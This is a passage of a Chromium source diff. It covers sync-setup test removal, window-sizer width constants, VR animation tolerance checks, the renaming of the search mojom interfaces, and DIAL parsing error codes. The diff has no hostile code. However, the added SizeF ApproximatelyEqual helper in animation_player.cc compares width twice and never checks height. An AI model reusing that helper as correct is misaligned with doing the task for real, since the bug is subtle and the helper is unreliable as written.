-                                     'SyncSetupStartSignIn',
-                                    ]);
-  },
-
-  /**
-   * Verifies starting point is not synced.
-   */
-  verifyUnsynced: function() {
-    assertFalse(BrowserOptions.getInstance().signedIn_);
-  },
-
-  /**
-   * Clicks the "Sign in to Chrome" button.
-   */
-  startSyncing: function() {
-    var startStopSyncButton = BrowserOptions.getStartStopSyncButton();
-    assertNotEquals(null, startStopSyncButton);
-    startStopSyncButton.click();
-  },
-};
-
-/**
- * Async version of SyncSetupWebUITest.
- * @extends {SyncSetupWebUITest}
- * @constructor
- */
-function SyncSetupWebUITestAsync() {}
-
-SyncSetupWebUITestAsync.prototype = {
-  __proto__: SyncSetupWebUITest.prototype,
-
-  /** @override */
-  isAsync: true,
-
-  /**
-   * Verifies that initial state is unsynced and simulates signing in.
-   * @override
-   */
-  setUp: function() {
-    SyncSetupWebUITest.prototype.setUp.call(this);
-
-    // For testing, don't wait to execute timeouts.
-    var oldSetTimeout = setTimeout;
-    setTimeout = function(fn, timeout) {
-      oldSetTimeout(fn, 0);
-    };
-
-    // Make sure the user is not starting off in the signed in or syncing state.
-    this.verifyUnsynced();
-
-    // Handle SyncSetupShowSetupUI by navigating to chrome://settings/syncSetup.
-    this.mockHandler.expects(once()).SyncSetupShowSetupUI().will(callFunction(
-        function() {
-      PageManager.showPageByName('syncSetup');
-    }));
-  },
-};
-
-// This test is flaky on Linux bot (crbug.com/579666) and Windows & Mac bots
-// (crbug.com/608975).
-TEST_F('SyncSetupWebUITestAsync', 'DISABLED_VerifySignIn', function() {
-  // Handle SyncSetupStartSignIn by displaying the sync setup dialog, verifying
-  // that a confirmation dialog appears, and clicking OK to dismiss the dialog.
-  // Note that this test doesn't actually do a gaia sign in.
-  this.mockHandler.expects(once()).SyncSetupStartSignIn(
-    [false] /* createSupervisedUser */).will(callFunction(function() {
-    SyncSetupOverlay.showSyncSetupPage('configure');
-    var okButton = $('confirm-everything-ok');
-    assertNotEquals(null, okButton);
-    okButton.click();
-  }));
-
-  // The test completes after the sync config is sent out.
-  this.mockHandler.expects(once()).SyncSetupConfigure(ANYTHING).
-      will(callFunction(testDone));
-
-  // Click the "Sign in to Chrome..." button.
-  this.startSyncing();
-});
-
-// This test is flaky on Linux, Windows and Mac bots. See crbug.com/579666,
-// crbug.com/638884 and crbug.com/718947.
-GEN('#if defined(OS_LINUX) || defined(OS_WIN) || defined(OS_MACOSX)');
-GEN('#define MAYBE_RestoreSyncDataTypes DISABLED_RestoreSyncDataTypes');
-GEN('#else');
-GEN('#define MAYBE_RestoreSyncDataTypes RestoreSyncDataTypes');
-GEN('#endif  // defined(OS_LINUX) || defined(OS_WIN)');
-// Test that switching to and from "Sync everything" saves and restores types.
-TEST_F('SyncSetupWebUITestAsync', 'MAYBE_RestoreSyncDataTypes', function() {
-  this.mockHandler.expects(once()).SyncSetupStartSignIn(
-    [false] /* createSupervisedUser */).will(callFunction(function() {
-    SyncSetupOverlay.showSyncSetupPage('configure', {});
-
-    $('sync-select-datatypes').selectedIndex = 1;
-    cr.dispatchSimpleEvent($('sync-select-datatypes'), 'change', true);
-
-    $('bookmarks-checkbox').checked = false;
-    cr.dispatchSimpleEvent($('bookmarks-checkbox'), 'change', true);
-
-    $('sync-select-datatypes').selectedIndex = 0;
-    cr.dispatchSimpleEvent($('sync-select-datatypes'), 'change', true);
-    assertTrue($('bookmarks-checkbox').checked);
-
-    $('sync-select-datatypes').selectedIndex = 1;
-    cr.dispatchSimpleEvent($('sync-select-datatypes'), 'change', true);
-    assertFalse($('bookmarks-checkbox').checked);
-
-    testDone();
-  }));
-
-  this.startSyncing();
-});
-
-GEN('#endif  // OS_CHROMEOS');
diff --git a/chrome/browser/ui/webui/web_ui_test_handler.cc b/chrome/browser/ui/webui/web_ui_test_handler.cc
index 0c700a9a..2b9ae90 100644
--- a/chrome/browser/ui/webui/web_ui_test_handler.cc
+++ b/chrome/browser/ui/webui/web_ui_test_handler.cc
@@ -7,6 +7,7 @@
 #include "base/bind.h"
 #include "base/bind_helpers.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/utf_string_conversions.h"
 #include "base/values.h"
 #include "chrome/common/render_messages.h"
@@ -62,7 +63,7 @@
   // Quit the message loop if |is_waiting_| so waiting process can get result or
   // error. To ensure this gets done, do this before ASSERT* calls.
   if (is_waiting_)
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 
   SCOPED_TRACE("WebUITestHandler::HandleTestResult");
 
@@ -82,7 +83,7 @@
   // Quit the message loop if |is_waiting_| so waiting process can get result or
   // error. To ensure this gets done, do this before ASSERT* calls.
   if (is_waiting_)
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 
   SCOPED_TRACE("WebUITestHandler::JavaScriptComplete");
 
diff --git a/chrome/browser/ui/window_sizer/window_sizer.cc b/chrome/browser/ui/window_sizer/window_sizer.cc
index edde35d..c9c567e6 100644
--- a/chrome/browser/ui/window_sizer/window_sizer.cc
+++ b/chrome/browser/ui/window_sizer/window_sizer.cc
@@ -299,9 +299,11 @@
 
   // The default size is either some reasonably wide width, or if the work
   // area is narrower, then the work area width less some aesthetic padding.
-  int default_width = std::min(work_area.width() - 2 * kWindowTilePixels, 1050);
+  int default_width = std::min(work_area.width() - 2 * kWindowTilePixels,
+                               kWindowMaxDefaultWidth);
   int default_height = work_area.height() - 2 * kWindowTilePixels;
 
+#if !defined(OS_MACOSX)
   // For wider aspect ratio displays at higher resolutions, we might size the
   // window narrower to allow two windows to easily be placed side-by-side.
   gfx::Rect screen_size = screen_->GetPrimaryDisplay().bounds();
@@ -320,6 +322,7 @@
     default_width = static_cast<int>(work_area.width() / 2. -
         1.5 * kWindowTilePixels);
   }
+#endif  // !defined(OS_MACOSX)
   default_bounds->SetRect(kWindowTilePixels + work_area.x(),
                           kWindowTilePixels + work_area.y(),
                           default_width, default_height);
diff --git a/chrome/browser/ui/window_sizer/window_sizer.h b/chrome/browser/ui/window_sizer/window_sizer.h
index 3408861..3b9ffff 100644
--- a/chrome/browser/ui/window_sizer/window_sizer.h
+++ b/chrome/browser/ui/window_sizer/window_sizer.h
@@ -115,6 +115,9 @@
   // opened windows.  This value may be different on each platform.
   static const int kWindowTilePixels;
 
+  // The maximum default window width. This value may differ between platforms.
+  static const int kWindowMaxDefaultWidth;
+
  private:
   // The edge of the screen to check for out-of-bounds.
   enum Edge { TOP, LEFT, BOTTOM, RIGHT };
diff --git a/chrome/browser/ui/window_sizer/window_sizer_aura.cc b/chrome/browser/ui/window_sizer/window_sizer_aura.cc
index 0406ef5a..a75302b7 100644
--- a/chrome/browser/ui/window_sizer/window_sizer_aura.cc
+++ b/chrome/browser/ui/window_sizer/window_sizer_aura.cc
@@ -7,6 +7,7 @@
 // This doesn't matter for aura, which has different tiling.
 // static
 const int WindowSizer::kWindowTilePixels = 10;
+const int WindowSizer::kWindowMaxDefaultWidth = 1050;
 
 // static
 gfx::Point WindowSizer::GetDefaultPopupOrigin(const gfx::Size& size) {
diff --git a/chrome/browser/ui/window_sizer/window_sizer_mac.mm b/chrome/browser/ui/window_sizer/window_sizer_mac.mm
index 0254641..8731048 100644
--- a/chrome/browser/ui/window_sizer/window_sizer_mac.mm
+++ b/chrome/browser/ui/window_sizer/window_sizer_mac.mm
@@ -13,6 +13,7 @@
 // How much horizontal and vertical offset there is between newly
 // opened windows.
 const int WindowSizer::kWindowTilePixels = 22;
+const int WindowSizer::kWindowMaxDefaultWidth = 1200;
 
 // static
 gfx::Point WindowSizer::GetDefaultPopupOrigin(const gfx::Size& size) {
diff --git a/chrome/browser/ui/window_sizer/window_sizer_unittest.cc b/chrome/browser/ui/window_sizer/window_sizer_unittest.cc
index bdb3e452..8e7e296 100644
--- a/chrome/browser/ui/window_sizer/window_sizer_unittest.cc
+++ b/chrome/browser/ui/window_sizer/window_sizer_unittest.cc
@@ -74,7 +74,7 @@
     GetWindowBounds(p1280x1024, p1280x1024, gfx::Rect(), gfx::Rect(),
                     gfx::Rect(), DEFAULT, NULL, gfx::Rect(), &window_bounds);
     EXPECT_EQ(gfx::Rect(kWindowTilePixels, kWindowTilePixels,
-                        1050,
+                        WindowSizer::kWindowMaxDefaultWidth,
                         1024 - kWindowTilePixels * 2),
               window_bounds);
   }
@@ -84,28 +84,46 @@
     GetWindowBounds(p1600x1200, p1600x1200, gfx::Rect(), gfx::Rect(),
                     gfx::Rect(), DEFAULT, NULL, gfx::Rect(), &window_bounds);
     EXPECT_EQ(gfx::Rect(kWindowTilePixels, kWindowTilePixels,
-                        1050,
+                        WindowSizer::kWindowMaxDefaultWidth,
                         1200 - kWindowTilePixels * 2),
               window_bounds);
   }
 
-  { // 16:10 monitor case, 1680x1050
+  {  // 16:10 monitor case, 1680x1050
+     // On all platforms except the Mac, for this size monitor the WindowSizer
+     // returns a width that allows side-by-side positioning of two browser
+     // windows.
+#if defined(OS_MACOSX)
+    const int expected_window_width = WindowSizer::kWindowMaxDefaultWidth;
+#else
+    const int window_width = 1680;
+    const int expected_window_width =
+        window_width / 2 - static_cast<int>(kWindowTilePixels * 1.5);
+#endif  // defined(OS_MACOSX)
     gfx::Rect window_bounds;
     GetWindowBounds(p1680x1050, p1680x1050, gfx::Rect(), gfx::Rect(),
                     gfx::Rect(), DEFAULT, NULL, gfx::Rect(), &window_bounds);
     EXPECT_EQ(gfx::Rect(kWindowTilePixels, kWindowTilePixels,
-                        840 - static_cast<int>(kWindowTilePixels * 1.5),
-                        1050 - kWindowTilePixels * 2),
+                        expected_window_width, 1050 - kWindowTilePixels * 2),
               window_bounds);
   }
 
-  { // 16:10 monitor case, 1920x1200
+  {  // 16:10 monitor case, 1920x1200
+     // On all platforms except the Mac, for this size monitor the WindowSizer
+     // returns a width that allows side-by-side positioning of two browser
+     // windows.
+#if defined(OS_MACOSX)
+    const int expected_window_width = WindowSizer::kWindowMaxDefaultWidth;
+#else
+    const int window_width = 1920;
+    const int expected_window_width =
+        window_width / 2 - static_cast<int>(kWindowTilePixels * 1.5);
+#endif  // defined(OS_MACOSX)
     gfx::Rect window_bounds;
     GetWindowBounds(p1920x1200, p1920x1200, gfx::Rect(), gfx::Rect(),
                     gfx::Rect(), DEFAULT, NULL, gfx::Rect(), &window_bounds);
     EXPECT_EQ(gfx::Rect(kWindowTilePixels, kWindowTilePixels,
-                        960 - static_cast<int>(kWindowTilePixels * 1.5),
-                        1200 - kWindowTilePixels * 2),
+                        expected_window_width, 1200 - kWindowTilePixels * 2),
               window_bounds);
   }
 }
@@ -519,4 +537,4 @@
 #endif  // !defined(OS_POSIX) || defined(OS_MACOSX)
 }
 
-#endif  //defined(OS_MACOSX)
+#endif  // defined(OS_MACOSX)
diff --git a/chrome/browser/vr/animation_player.cc b/chrome/browser/vr/animation_player.cc
index 63baac45..6d10f1b 100644
--- a/chrome/browser/vr/animation_player.cc
+++ b/chrome/browser/vr/animation_player.cc
@@ -14,10 +14,14 @@
 #include "cc/base/math_util.h"
 #include "chrome/browser/vr/elements/ui_element.h"
 
+using cc::MathUtil;
+
 namespace vr {
 
 namespace {
 
+static constexpr float kTolerance = 1e-5;
+
 static int s_next_animation_id = 1;
 static int s_next_group_id = 1;
 
@@ -86,6 +90,11 @@
   return animation->curve()->Duration();
 }
 
+bool ApproximatelyEqual(const gfx::SizeF& lhs, const gfx::SizeF& rhs) {
+  return MathUtil::ApproximatelyEqual(lhs.width(), rhs.width(), kTolerance) &&
+         MathUtil::ApproximatelyEqual(lhs.width(), rhs.width(), kTolerance);
+}
+
 }  // namespace
 
 AnimationPlayer::AnimationPlayer() {}
@@ -183,14 +192,18 @@
   if (running_animation) {
     const cc::FloatAnimationCurve* curve =
         running_animation->curve()->ToFloatAnimationCurve();
-    if (target == curve->GetValue(GetEndTime(running_animation))) {
+    if (MathUtil::ApproximatelyEqual(
+            target, curve->GetValue(GetEndTime(running_animation)),
+            kTolerance)) {
       return;
     }
-    if (target == curve->GetValue(GetStartTime(running_animation))) {
+    if (MathUtil::ApproximatelyEqual(
+            target, curve->GetValue(GetStartTime(running_animation)),
+            kTolerance)) {
       ReverseAnimation(monotonic_time, running_animation);
       return;
     }
-  } else if (target == current) {
+  } else if (MathUtil::ApproximatelyEqual(target, current, kTolerance)) {
     return;
   }
 
@@ -231,14 +244,16 @@
   if (running_animation) {
     const cc::TransformAnimationCurve* curve =
         running_animation->curve()->ToTransformAnimationCurve();
-    if (target == curve->GetValue(GetEndTime(running_animation))) {
+    if (target.ApproximatelyEqual(
+            curve->GetValue(GetEndTime(running_animation)), kTolerance)) {
       return;
     }
-    if (target == curve->GetValue(GetStartTime(running_animation))) {
+    if (target.ApproximatelyEqual(
+            curve->GetValue(GetStartTime(running_animation)), kTolerance)) {
       ReverseAnimation(monotonic_time, running_animation);
       return;
     }
-  } else if (target == current) {
+  } else if (target.ApproximatelyEqual(current, kTolerance)) {
     return;
   }
 
@@ -275,14 +290,16 @@
   if (running_animation) {
     const cc::SizeAnimationCurve* curve =
         running_animation->curve()->ToSizeAnimationCurve();
-    if (target == curve->GetValue(GetEndTime(running_animation))) {
+    if (ApproximatelyEqual(target,
+                           curve->GetValue(GetEndTime(running_animation)))) {
       return;
     }
-    if (target == curve->GetValue(GetStartTime(running_animation))) {
+    if (ApproximatelyEqual(target,
+                           curve->GetValue(GetStartTime(running_animation)))) {
       ReverseAnimation(monotonic_time, running_animation);
       return;
     }
-  } else if (target == current) {
+  } else if (ApproximatelyEqual(target, current)) {
     return;
   }
 
diff --git a/chrome/browser/vr/animation_player_unittest.cc b/chrome/browser/vr/animation_player_unittest.cc
index 013fe723..8e7569c 100644
--- a/chrome/browser/vr/animation_player_unittest.cc
+++ b/chrome/browser/vr/animation_player_unittest.cc
@@ -15,6 +15,8 @@
 
 namespace vr {
 
+static constexpr float kNoise = 1e-6;
+
 class TestAnimationTarget : public cc::AnimationTarget {
  public:
   TestAnimationTarget() {
@@ -207,6 +209,12 @@
   EXPECT_EQ(from, target.opacity());
   player.Tick(start_time);
 
+  // Scheduling a redundant, approximately equal transition should be ignored.
+  int animation_id = player.animations().front()->id();
+  float nearby = to + kNoise;
+  player.TransitionFloatTo(start_time, TargetProperty::OPACITY, from, nearby);
+  EXPECT_EQ(animation_id, player.animations().front()->id());
+
   player.Tick(start_time + UsToDelta(5000));
   EXPECT_GT(from, target.opacity());
   EXPECT_LT(to, target.opacity());
@@ -249,6 +257,8 @@
 }
 
 TEST(AnimationPlayerTest, TransformTransitions) {
+  // In this test, we do expect exact equality.
+  float tolerance = 0.0f;
   TestAnimationTarget target;
   AnimationPlayer player;
   player.set_target(&target);
@@ -269,18 +279,28 @@
   player.TransitionTransformOperationsTo(start_time, TargetProperty::TRANSFORM,
                                          from, to);
 
-  EXPECT_EQ(from, target.operations());
+  EXPECT_TRUE(from.ApproximatelyEqual(target.operations(), tolerance));
   player.Tick(start_time);
 
+  // Scheduling a redundant, approximately equal transition should be ignored.
+  int animation_id = player.animations().front()->id();
+  cc::TransformOperations nearby = to;
+  nearby.at(0).translate.x += kNoise;
+  player.TransitionTransformOperationsTo(start_time, TargetProperty::TRANSFORM,
+                                         from, nearby);
+  EXPECT_EQ(animation_id, player.animations().front()->id());
+
   player.Tick(start_time + UsToDelta(5000));
   EXPECT_LT(from.at(0).translate.x, target.operations().at(0).translate.x);
   EXPECT_GT(to.at(0).translate.x, target.operations().at(0).translate.x);
 
   player.Tick(start_time + UsToDelta(10000));
-  EXPECT_EQ(to, target.operations());
+  EXPECT_TRUE(to.ApproximatelyEqual(target.operations(), tolerance));
 }
 
 TEST(AnimationPlayerTest, ReversedTransformTransitions) {
+  // In this test, we do expect exact equality.
+  float tolerance = 0.0f;
   TestAnimationTarget target;
   AnimationPlayer player;
   player.set_target(&target);
@@ -301,7 +321,7 @@
   player.TransitionTransformOperationsTo(start_time, TargetProperty::TRANSFORM,
                                          from, to);
 
-  EXPECT_EQ(from, target.operations());
+  EXPECT_TRUE(from.ApproximatelyEqual(target.operations(), tolerance));
   player.Tick(start_time);
 
   player.Tick(start_time + UsToDelta(1000));
@@ -313,10 +333,11 @@
                                          TargetProperty::TRANSFORM,
                                          target.operations(), from);
   player.Tick(start_time + UsToDelta(1000));
-  EXPECT_EQ(value_before_reversing, target.operations());
+  EXPECT_TRUE(value_before_reversing.ApproximatelyEqual(target.operations(),
+                                                        tolerance));
 
   player.Tick(start_time + UsToDelta(2000));
-  EXPECT_EQ(from, target.operations());
+  EXPECT_TRUE(from.ApproximatelyEqual(target.operations(), tolerance));
 }
 
 TEST(AnimationPlayerTest, BoundsTransitions) {
@@ -338,6 +359,13 @@
   EXPECT_FLOAT_SIZE_EQ(from, target.size());
   player.Tick(start_time);
 
+  // Scheduling a redundant, approximately equal transition should be ignored.
+  int animation_id = player.animations().front()->id();
+  gfx::SizeF nearby = to;
+  nearby.set_width(to.width() + kNoise);
+  player.TransitionSizeTo(start_time, TargetProperty::BOUNDS, from, nearby);
+  EXPECT_EQ(animation_id, player.animations().front()->id());
+
   player.Tick(start_time + UsToDelta(5000));
   EXPECT_LT(from.width(), target.size().width());
   EXPECT_GT(to.width(), target.size().width());
diff --git a/chrome/common/BUILD.gn b/chrome/common/BUILD.gn
index 99032f9..818efca 100644
--- a/chrome/common/BUILD.gn
+++ b/chrome/common/BUILD.gn
@@ -621,13 +621,13 @@
   sources = [
     "page_load_metrics/test/page_load_metrics_test_util.cc",
     "page_load_metrics/test/page_load_metrics_test_util.h",
-    "search/mock_searchbox.cc",
-    "search/mock_searchbox.h",
+    "search/mock_embedded_search_client.cc",
+    "search/mock_embedded_search_client.h",
   ]
 
   deps = [
     ":common",
-    ":instant_mojom",
+    ":search_mojom",
     "//base",
     "//testing/gmock",
     "//testing/gtest",
@@ -675,6 +675,7 @@
     "file_patcher.mojom",
     "image_context_menu_renderer.mojom",
     "insecure_content_renderer.mojom",
+    "navigation_corrector.mojom",
     "net_benchmarking.mojom",
     "network_diagnostics.mojom",
     "open_search_description_document_handler.mojom",
@@ -710,9 +711,9 @@
   use_once_callback = false
 }
 
-mojom("instant_mojom") {
+mojom("search_mojom") {
   sources = [
-    "instant.mojom",
+    "search.mojom",
   ]
 
   public_deps = [
diff --git a/chrome/common/chrome_constants.cc b/chrome/common/chrome_constants.cc
index e4ce7d5..99a3f81 100644
--- a/chrome/common/chrome_constants.cc
+++ b/chrome/common/chrome_constants.cc
@@ -151,7 +151,6 @@
 const base::FilePath::CharType kFirstRunSentinel[] = FPL("First Run");
 const base::FilePath::CharType kGCMStoreDirname[] = FPL("GCM Store");
 const base::FilePath::CharType kLocalStateFilename[] = FPL("Local State");
-const base::FilePath::CharType kLocalStorePoolName[] = FPL("LocalStorePool");
 const base::FilePath::CharType kMediaCacheDirname[] = FPL("Media Cache");
 const base::FilePath::CharType kOfflinePageArchivesDirname[] =
     FPL("Offline Pages/archives");
diff --git a/chrome/common/chrome_constants.h b/chrome/common/chrome_constants.h
index a170109..7541c25 100644
--- a/chrome/common/chrome_constants.h
+++ b/chrome/common/chrome_constants.h
@@ -55,7 +55,6 @@
 extern const base::FilePath::CharType kFirstRunSentinel[];
 extern const base::FilePath::CharType kGCMStoreDirname[];
 extern const base::FilePath::CharType kLocalStateFilename[];
-extern const base::FilePath::CharType kLocalStorePoolName[];
 extern const base::FilePath::CharType kMediaCacheDirname[];
 extern const base::FilePath::CharType kOfflinePageArchivesDirname[];
 extern const base::FilePath::CharType kOfflinePageMetadataDirname[];
diff --git a/chrome/common/chrome_features.cc b/chrome/common/chrome_features.cc
index 1272901..f17e891 100644
--- a/chrome/common/chrome_features.cc
+++ b/chrome/common/chrome_features.cc
@@ -222,7 +222,7 @@
 
 // Enables or disables the Material Design version of chrome://bookmarks.
 const base::Feature kMaterialDesignBookmarks{"MaterialDesignBookmarks",
-                                             base::FEATURE_DISABLED_BY_DEFAULT};
+                                             base::FEATURE_ENABLED_BY_DEFAULT};
 
 #if BUILDFLAG(ENABLE_EXTENSIONS)
 // Enabled or disabled the Material Design version of chrome://extensions.
diff --git a/chrome/common/extensions/api/_api_features.json b/chrome/common/extensions/api/_api_features.json
index 3a0191d3..173ef9300 100644
--- a/chrome/common/extensions/api/_api_features.json
+++ b/chrome/common/extensions/api/_api_features.json
@@ -93,8 +93,7 @@
     "contexts": ["webui"],
     "matches": [
       "chrome://md-settings/*",
-      "chrome://settings/*",
-      "chrome://settings-frame/*"
+      "chrome://settings/*"
     ]
   }],
   "automationInternal": {
@@ -561,8 +560,7 @@
     "contexts": ["webui"],
     "matches": [
       "chrome://md-settings/*",
-      "chrome://settings/*",
-      "chrome://settings-frame/*"
+      "chrome://settings/*"
     ]
   }],
   "launcherPage": {
@@ -635,8 +633,7 @@
     "contexts": ["webui"],
     "matches": [
       "chrome://md-settings/*",
-      "chrome://settings/*",
-      "chrome://settings-frame/*"
+      "chrome://settings/*"
     ]
   }],
   "permissions": {
@@ -682,8 +679,7 @@
     "contexts": ["webui"],
     "matches": [
       "chrome://md-settings/*",
-      "chrome://settings/*",
-      "chrome://settings-frame/*"
+      "chrome://settings/*"
     ],
     "platforms": ["chromeos"]
   },
@@ -713,8 +709,7 @@
     "contexts": ["webui"],
     "matches": [
       "chrome://md-settings/*",
-      "chrome://settings/*",
-      "chrome://settings-frame/*"
+      "chrome://settings/*"
     ]
   }],
   "signedInDevices": {
@@ -776,8 +771,7 @@
     "contexts": ["webui"],
     "matches": [
       "chrome://md-settings/*",
-      "chrome://settings/*",
-      "chrome://settings-frame/*"
+      "chrome://settings/*"
     ]
   }],
   "virtualKeyboardPrivate": {
diff --git a/chrome/common/media_router/mojo/dial_device_description_parser.mojom b/chrome/common/media_router/mojo/dial_device_description_parser.mojom
index 09ed517..8dba6d15 100644
--- a/chrome/common/media_router/mojo/dial_device_description_parser.mojom
+++ b/chrome/common/media_router/mojo/dial_device_description_parser.mojom
@@ -7,6 +7,25 @@
 
 module chrome.mojom;
 
+// Error encountered while parsing DIAL device description XML text.
+enum DialParsingError {
+  NONE = 0,
+  INVALID_XML = 1,
+  FAILED_TO_READ_UDN = 2,
+  FAILED_TO_READ_FRIENDLY_NAME = 3,
+  FAILED_TO_READ_MODEL_NAME = 4,
+  FAILED_TO_READ_DEVICE_TYPE = 5,
+  MISSING_UNIQUE_ID = 6,
+  MISSING_FRIENDLY_NAME = 7,
+  MISSING_APP_URL = 8,
+  INVALID_APP_URL = 9,
+  UTILITY_PROCESS_ERROR = 10,
+
+  // Note: Add entries only immediately above this line.
+  // TODO(https://crbug.com/742517): remove this enum value.
+  TOTAL_COUNT = 11
+};
+
 struct DialDeviceDescription {
   // UUID (UDN).
   string unique_id;
@@ -26,9 +45,11 @@
   // parsing succeeds, invokes callback with valid |device_description|.
   // Otherwise invokes callback with nullptr.
   // |device_description|: device description object. Empty if parsing fails.
+  // |parsing_error|: error encountered while parsing DIAL device description.
   // Spec for DIAL device description:
   // http://upnp.org/specs/arch/UPnP-arch-DeviceArchitecture-v2.0.pdf
   // Section 2.3 Device description.
   ParseDialDeviceDescription(string device_description_xml_data)
-      => (DialDeviceDescription? device_description);
+      => (DialDeviceDescription? device_description,
+          DialParsingError parsing_error);
 };
diff --git a/chrome/common/navigation_corrector.mojom b/chrome/common/navigation_corrector.mojom
new file mode 100644
index 0000000..3c86f5ef
--- /dev/null
+++ b/chrome/common/navigation_corrector.mojom
@@ -0,0 +1,17 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+module chrome.mojom;
+
+import "url/mojo/url.mojom";
+
+interface NavigationCorrector {
+  // Provides the information needed by the renderer process to contact a
+  // navigation correction service.  Handled by the NetErrorHelper.
+  SetNavigationCorrectionInfo(url.mojom.Url navigation_correction_url,
+                              string language,
+                              string country_code,
+                              string api_key,
+                              url.mojom.Url search_url);
+};
diff --git a/chrome/common/render_messages.h b/chrome/common/render_messages.h
index 9a60c47..bf3fba5b 100644
--- a/chrome/common/render_messages.h
+++ b/chrome/common/render_messages.h
@@ -168,15 +168,6 @@
 // Tells the frame it is displaying an interstitial page.
 IPC_MESSAGE_ROUTED0(ChromeViewMsg_SetAsInterstitial)
 
-// Provides the information needed by the renderer process to contact a
-// navigation correction service.  Handled by the NetErrorHelper.
-IPC_MESSAGE_ROUTED5(ChromeViewMsg_SetNavigationCorrectionInfo,
-                    GURL /* Navigation correction service base URL */,
-                    std::string /* language */,
-                    std::string /* origin_country */,
-                    std::string /* API key to use */,
-                    GURL /* Google Search URL to use */)
-
 #if defined(OS_ANDROID)
 // Message sent from the renderer to the browser to schedule to download the
 // page at a later time.
diff --git a/chrome/common/instant.mojom b/chrome/common/search.mojom
similarity index 88%
rename from chrome/common/instant.mojom
rename to chrome/common/search.mojom
index 768277f..09b7c78 100644
--- a/chrome/common/instant.mojom
+++ b/chrome/common/search.mojom
@@ -24,19 +24,18 @@
 // separate interface such that a reverse connection (|client| below) can be
 // passed when connecting.
 interface EmbeddedSearchConnector {
-  // Connect to the interface. |instant| is the connection which the client will
-  // use to query the embedded search interface. |client| is the connection used
-  // by the embedded search interface implementation to push browser state
-  // updates to the client.
-  Connect(associated Instant& instant, associated SearchBox client);
+  // Connect to the interface. |embedded_search| is the connection which the
+  // client will use to query the embedded search interface. |client| is the
+  // connection used by the embedded search interface implementation to push
+  // browser state updates to the client.
+  Connect(associated EmbeddedSearch & embedded_search,
+          associated EmbeddedSearchClient client);
 };
 
-// TODO(tibell): Rename this to EmbeddedSearch.
-//
 // Browser interface to support embedded search. Render frames connect to this
 // interface to query browser data, such as the most visited pages.
 // See http://dev.chromium.org/embeddedsearch
-interface Instant {
+interface EmbeddedSearch {
   // Tells InstantExtended to set the omnibox focus state.
   FocusOmnibox(int32 page_seq_no, OmniboxFocusState state);
 
@@ -94,11 +93,9 @@
 [Native]
 struct ThemeBackgroundInfo;
 
-// TODO(tibell): Rename this to EmbeddedSearchClient.
-//
 // Renderer interface used by the browser to push updates to the client. For
 // example, the browser will tell the frame if the omnibox got focus.
-interface SearchBox {
+interface EmbeddedSearchClient {
   SetPageSequenceNumber(int32 page_seq_no);
 
   FocusChanged(OmniboxFocusState new_focus_state,
diff --git a/chrome/common/instant.typemap b/chrome/common/search.typemap
similarity index 96%
rename from chrome/common/instant.typemap
rename to chrome/common/search.typemap
index 74a6bf2..e664691f 100644
--- a/chrome/common/instant.typemap
+++ b/chrome/common/search.typemap
@@ -2,7 +2,7 @@
 # Use of this source code is governed by a BSD-style license that can be
 # found in the LICENSE file.
 
-mojom = "//chrome/common/instant.mojom"
+mojom = "//chrome/common/search.mojom"
 public_headers = [
   "//chrome/common/search/instant_types.h",
   "//chrome/common/search/ntp_logging_events.h",
diff --git a/chrome/common/search/mock_embedded_search_client.cc b/chrome/common/search/mock_embedded_search_client.cc
new file mode 100644
index 0000000..7e11eb3
--- /dev/null
+++ b/chrome/common/search/mock_embedded_search_client.cc
@@ -0,0 +1,8 @@
+// Copyright 2016 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "chrome/common/search/mock_embedded_search_client.h"
+
+MockEmbeddedSearchClient::MockEmbeddedSearchClient() = default;
+MockEmbeddedSearchClient::~MockEmbeddedSearchClient() = default;
diff --git a/chrome/common/search/mock_searchbox.h b/chrome/common/search/mock_embedded_search_client.h
similarity index 69%
rename from chrome/common/search/mock_searchbox.h
rename to chrome/common/search/mock_embedded_search_client.h
index 8c7aa57..71f4a7e 100644
--- a/chrome/common/search/mock_searchbox.h
+++ b/chrome/common/search/mock_embedded_search_client.h
@@ -2,16 +2,16 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef CHROME_COMMON_SEARCH_MOCK_SEARCHBOX_H_
-#define CHROME_COMMON_SEARCH_MOCK_SEARCHBOX_H_
+#ifndef CHROME_COMMON_SEARCH_MOCK_EMBEDDED_SEARCH_CLIENT_H_
+#define CHROME_COMMON_SEARCH_MOCK_EMBEDDED_SEARCH_CLIENT_H_
 
-#include "chrome/common/instant.mojom.h"
+#include "chrome/common/search.mojom.h"
 #include "testing/gmock/include/gmock/gmock.h"
 
-class MockSearchBox : public chrome::mojom::SearchBox {
+class MockEmbeddedSearchClient : public chrome::mojom::EmbeddedSearchClient {
  public:
-  MockSearchBox();
-  ~MockSearchBox();
+  MockEmbeddedSearchClient();
+  ~MockEmbeddedSearchClient();
 
   MOCK_METHOD1(SetPageSequenceNumber, void(int));
   MOCK_METHOD2(ChromeIdentityCheckResult, void(const base::string16&, bool));
@@ -25,5 +25,4 @@
   MOCK_METHOD1(ThemeChanged, void(const ThemeBackgroundInfo&));
 };
 
-
-#endif  // CHROME_COMMON_SEARCH_MOCK_SEARCHBOX_H_
+#endif  // CHROME_COMMON_SEARCH_MOCK_EMBEDDED_SEARCH_CLIENT_H_
diff --git a/chrome/common/search/mock_searchbox.cc b/chrome/common/search/mock_searchbox.cc
deleted file mode 100644
index a6412a3..0000000
--- a/chrome/common/search/mock_searchbox.cc
+++ /dev/null
@@ -1,8 +0,0 @@
-// Copyright 2016 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "chrome/common/search/mock_searchbox.h"
-
-MockSearchBox::MockSearchBox() = default;
-MockSearchBox::~MockSearchBox() = default;
diff --git a/chrome/common/url_constants.cc b/chrome/common/url_constants.cc
index 832dc54..581a61266 100644
--- a/chrome/common/url_constants.cc
+++ b/chrome/common/url_constants.cc
@@ -84,7 +84,6 @@
 const char kChromeUIContentSettingsURL[] = "chrome://settings/content";
